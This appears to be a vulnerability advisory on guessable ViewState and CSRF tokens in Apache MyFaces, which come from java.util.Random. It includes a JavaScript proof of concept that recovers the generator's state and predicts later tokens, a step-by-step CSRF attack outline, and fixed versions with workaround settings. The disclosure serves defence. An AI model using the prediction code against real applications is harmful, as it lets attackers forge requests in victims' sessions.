Introduction
------------

Apache MyFaces is an open-source implementation of JSF. During a quick
evaluation, Certitude found that the default CSRF protection of Apache MyFaces
was insufficient as the CSRF tokens the framework generates can be guessed by
an attacker.

Moreover, the patch provided by the Apache MyFaces maintainers affects the way
channel tokens for websocket communication are generated. It is unclear,
whether this change fixes a vulnerability.

Vulnerability Overview
----------------------

Applications that employ the MyFaces JSF framework transmit a parameter
"javax.faces.ViewState" with every state-modifying request. Though not
intended for CSRF protection, in the default configuration this parameter
prevents trivial attacks, as it is sufficiently long and tied to a single
session.

However, by default, this value is generated using the insecure random number
generator `java.util.Random`. An attacker can therefore obtain a ViewState
parameter from the application and, based on this value, predict the random
part of ViewState parameters subsequently issued to other users. Besides the
random string, the ViewState parameter contains a sequence number. As the
initial value of the per-session sequence counter is 1, an attacker can very
easily guess this value.

As the ViewState parameter is the sole CSRF protection, knowledge of this
value allows an attacker to conduct CSRF attacks.

When Apache MyFaces is used in client-side saving mode, the ViewState
parameter is insufficient to protect against CSRF. Instead, pages that require
protection against CSRF can be marked as "protected-pages". For these pages,
Apache MyFaces requires CSRF token for each request ("javax.faces.Token"). By
default, the CSRF token too is generated using `java.util.Random`, thus
allowing an attacker to bypass the CSRF protection.

NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also
introduced a cryptographically secure random number generator for the
websocket channel token. Certitude has not verified if this change fixes a
vulnerability.

Proof of Concept
----------------

By default, the class
`org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to
generate ViewState parameter values. This class uses the method
`java.util.Random#nextBytes` as well as a per-session counter value to
generate ViewState strings.

The following JavaScript snippet demonstrates the generation of the random
part of a ViewState value based on the random part of a previously issued
ViewState parameter:

``` {.javascript}
const multiplier = 0x5DEECE66Dn;
const addend = 0xBn;
const mask = (1n << 48n) - 1n;

const unbyte = (bytes, offset) => BigInt(
Array.from(bytes.slice(offset, offset + 4))
.map((b, i) => b << (8 * i))
.reduce((a, b) => a + b));

const longify = n => integer(n, 8n);
const intify = n => integer(n, 4n);
const byteify = n => integer(n, 1n);

function integer(n, len) {
const bits = len * 8n;
const hspan = 1n << (bits - 1n);
return ((n + hspan) % (2n * hspan)) - hspan;
}

const hexToByteArray = s => (new Uint8Array(s.length / 2)
.map((_, i) => (
parseInt(s.charAt(2 * i), 16) << 4 |
parseInt(s.charAt(2 * i + 1), 16))));

const byteArrayToHex = b => (Array.from(b)
.map(x => (((x + 0x100).toString(16)).substr(-2)))
.reduce((a, b) => a + b))
.toUpperCase();

// based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java
function replicatedRandom(bytes) {
let seed = 0;

replicateState(
unbyte(bytes, bytes.length - 8), 32n,
unbyte(bytes, bytes.length - 4), 32n);

return nextBytes(bytes.length);

function replicateState(nextN, n, nextM, m) {
const upperMOf48Mask = ((1n << m) - 1n) << (48n - m);
const oldSeedUpperN = (nextN << (48n - n)) & mask;
const newSeedUpperM = (nextM << (48n - m)) & mask;

let possibilityCount = 0;

for (let oldSeed = oldSeedUpperN;
oldSeed <= (oldSeedUpperN | ((1n << (48n - n)) - 1n));
oldSeed++) {
const newSeed = longify(
longify(oldSeed * multiplier + addend) & mask);

if ((newSeed & upperMOf48Mask) == newSeedUpperM) {
possibilityCount++;
seed = newSeed;
}
}

if (possibilityCount != 1) throw new Error('replicateState failed');
}

function next(bits) {
seed = longify(longify(seed * multiplier + addend) & mask);
return intify(seed >> (48n - bits));
}

function nextBytes(count) {
const res = new Int8Array(count);

for (let i = 0; i < count; ) {
let rnd = next(32n);
for (let n = Math.min(count - i, 4); n > 0; n--) {
res[i++] = parseInt(byteify(rnd));
rnd >>= 8n;
}
}

return res;
}
}
```

An attacker can exploit this issue as follows:

1. An attacker lures an authenticated victim to an attacker-controlled
website.
2. As the victim opens the website, the attacker requests a ViewState value
from the application.
3. The exploit script opens the target JSF page e.g. in an iframe. For this
page, the vulnerable application generates a new random ViewState value.
4. The attacker now predicts a number of the random strings based on the
ViewState value received in step 2. As the victim's ViewState value is
generated just after the attacker's ViewState value, it is very likely,
that the victim's ViewState value is among the generated ones.
5. The exploit script sends several CSRF requests containing combinations of
predicted random strings and sequence numbers. If guessed correctly, the
vulnerable application accepts the attacker's request.

A similar approach is possible to attack protected pages. Unlike the ViewState
values, the CSRF token generated, however, do not contain a sequence counter.

Resolution
----------

The Apache MyFaces maintainers have released a patch that addresses the
identified issue. Certitude recommends affected organizations to immediately
upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the
latest version is not possible, the Apache MyFaces maintainers recommend
setting the following settings to "secureRandom":

- org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN
- org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN
- org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN

Note that the patch introduces changes in the way websocket channel tokens are
generated. Certitude therefore recommends applying the patch or workaround to
all applications that use Apache MyFaces, even if CSRF attacks are of no
concern.
